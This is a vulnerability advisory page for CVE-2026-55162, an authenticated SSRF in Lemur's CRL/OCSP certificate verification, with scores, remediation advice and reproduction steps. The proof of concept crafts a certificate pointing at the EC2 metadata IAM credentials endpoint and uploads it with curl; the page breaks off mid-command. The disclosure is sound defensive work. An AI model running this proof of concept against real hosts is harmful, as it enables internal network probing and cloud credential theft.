Skip to main content
VulnerabilityPublished

CVE-2026-55162: Lemur · Crafted CRL/OCSP URLs in uploaded certificates lead to post-authentication SSRF

Affects lemurSource GCVE Database

0
Compare
Authoritative record:CVE-2026-55162· Medium 6.3

Not known to be exploited · CVSS 6.3 Medium : upgrade to 1.9.2 when convenient.

Data as of 30 Oct 2026, 06:59 UTC

CVSS 3.1 base score
6.3Medium
How severe the flaw is on the 0–10 CVSS scale.
EPSS
0.2% chance of exploitation in 30 days – higher than 12% of CVEsExploit Prediction Scoring System: the likelihood attackers will use this flaw soon.
Patch
Available – fixed in 1.9.2
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L

Exploitation evidence

t = 0 is the CVE’s publication on cve.org

  1. Disclosed: evidence found.

    CVE published 18 Aug 2026

  2. Detectable: no evidence on record.

    No public nuclei template indexed

  3. Weaponized: evidence found.

    CISA SSVC: proof of concept public

  4. Exploited in the wild: no evidence on record.

    Not in CISA KEV and no source reports exploitation

  5. Observed by OffSeq Mirage: no evidence on record.

    No attack traffic recorded by OffSeq Mirage sensors

Timeline

  1. CVE ID reserved

    by GitHub, Inc.

    , 63 days before disclosure

  2. CVE published

    on cve.org

    , t = 0

  3. CISA SSVC assessment

    proof of concept public

    , 20 hours after disclosure

A missing step is not evidence of safety. Sources: cve.org (opens in a new tab), CISA SSVC, the Metasploit, Exploit-DB and nuclei-templates index as of 29 Oct 2026.

What to do

Upgrade lemur to 1.9.2.

Affected software

ProductAffectedFixed in
PyPIlemurAffected
  • <1.9.2
Fixed in
  • 1.9.2

Check your own hosts for these packages with threat-finder (opens in a new tab), our free open-source scanner.

Description

## Summary When verifying an uploaded certificate, `lemur/certificates/verify.py` extracts the CRL Distribution Point URL and the OCSP responder URL directly from the certificate's extensions and issues outbound requests to those URLs without scheme restriction or destination allow-listing. An authenticated user holding the operator role (required by `StrictRolePermission` on `POST /certificates/upload`) can craft a certificate whose extensions point at internal services - instance metadata endpoints, internal Kubernetes API servers, RFC1918 hosts, link-local addresses - and cause the Lemur host to issue requests against those destinations during verification. ## Root Cause `lemur/certificates/verify.py`, `crl_verify`: ```python point = p.full_name[0].value # URL from CDP extension of uploaded cert ... response = requests.get(point, timeout=(3.05, 6)) # no allow-list, no destination filter ``` `lemur/certificates/verify.py`, `ocsp_verify`: ```python command = ["openssl", "x509", "-noout", "-ocsp_uri", "-in", cert_path] p1 = subprocess.Popen(command, stdout=subprocess.PIPE, ...) url, _ = p1.communicate() p2 = subprocess.Popen( ["openssl", "ocsp", "-issuer", issuer_chain_path, "-cert", cert_path, "-url", url.strip()], # attacker-controlled URL ... ) ``` In both code paths the URL flows from attacker-controlled certificate-extension content to a network sink with no validation against an allow-list of hostnames, no scheme restriction beyond rejecting LDAP via `InvalidSchema`, and no filtering of RFC1918 / link-local (169.254/16) / loopback / IPv6 ULA destinations. ## Affected Endpoints | Method | Path | Source | |---|---|---| | POST | /api/1/certificates/upload | `verify_string` → `crl_verify` / `ocsp_verify` | The bug additionally surfaces anywhere `verify_string` is invoked on attacker-influenced certificate content (sync paths, source plugin re-validation, etc.). The upload endpoint is the most direct trigger. ## Impact An operator-role attacker can: - Probe the Lemur host's internal network through outbound CRL/OCSP fetches and infer topology from response timings and error messages. - On EC2 instances without IMDSv2 enforcement, cause requests to `http://169.254.169.254/` and influence downstream behavior of components that parse the response. - Pin attacker-controlled CRLs into the unbounded module-level `crl_cache` dict (see Advisory 4c) for permanent cache poisoning - once cached, a poisoned CRL is served to every subsequent verification for the same URL. The operator-role precondition reduces severity from what an unauthenticated SSRF would warrant, but operators are still meaningfully less trusted than the host's network position. PKI workflows also routinely process third-party certificates whose extensions are not directly controlled by the operator, broadening the trigger surface beyond purely-malicious operators. ## Remediation Filter the URL before it reaches the network sink. Either: 1. Maintain an explicit allow-list of CRL/OCSP hostnames in configuration (e.g., `LEMUR_TRUSTED_CRL_HOSTS` and `LEMUR_TRUSTED_OCSP_HOSTS`) and reject anything outside the list, **or** 2. Use an SSRF-safe HTTP client wrapper that resolves the destination, rejects RFC1918 / link-local / loopback / IPv6 ULA addresses before connecting, and pins the resolved IP to defeat DNS rebinding. For OCSP, route the parsed URL through the same wrapper before passing it as `-url` to `openssl ocsp`. Additionally, bound `crl_cache` (see Advisory 4c) to prevent the SSRF vector from amplifying into a persistent cache-poisoning condition. ## Steps to Reproduce 1. Set up Lemur on an EC2 instance with IMDSv1 enabled (or any host with reachable RFC1918 services). Create an admin user and an operator-role user `eve`. 2. Generate a self-signed certificate whose extensions point at internal services: ``` cat > openssl.cnf <<EOF [req] distinguished_name = req_distinguished_name req_extensions = v3_ca prompt = no [req_distinguished_name] CN = ssrf-poc.example [v3_ca] crlDistributionPoints = URI:http://169.254.169.254/latest/meta-data/iam/security-credentials/ authorityInfoAccess = OCSP;URI:http://169.254.169.254/latest/meta-data/ EOF openssl req -x509 -newkey rsa:2048 -keyout ssrf.key -out ssrf.crt \ -days 365 -nodes -config openssl.cnf -extensions v3_ca ``` 3. On the Lemur host, start a packet capture filter for the target address before submitting the cert: ``` sudo tcpdump -nni any host 169.254.169.254 ``` 4. As `eve`, upload the malicious certificate: ``` BODY=$(cat ssrf.crt | sed ':a;N;$!ba;s/\n/\\n/g') curl -X POST https://lemur.local/api/1/certificates/upload \ -H "Authorization: Bearer <eve_jwt>" \ -H "Content-Type: application/json" \ -d "{ \"name\": \"ssrf-poc\", \"body\": \"$BODY\", \"ch

References

Community reviews

Loading reviews…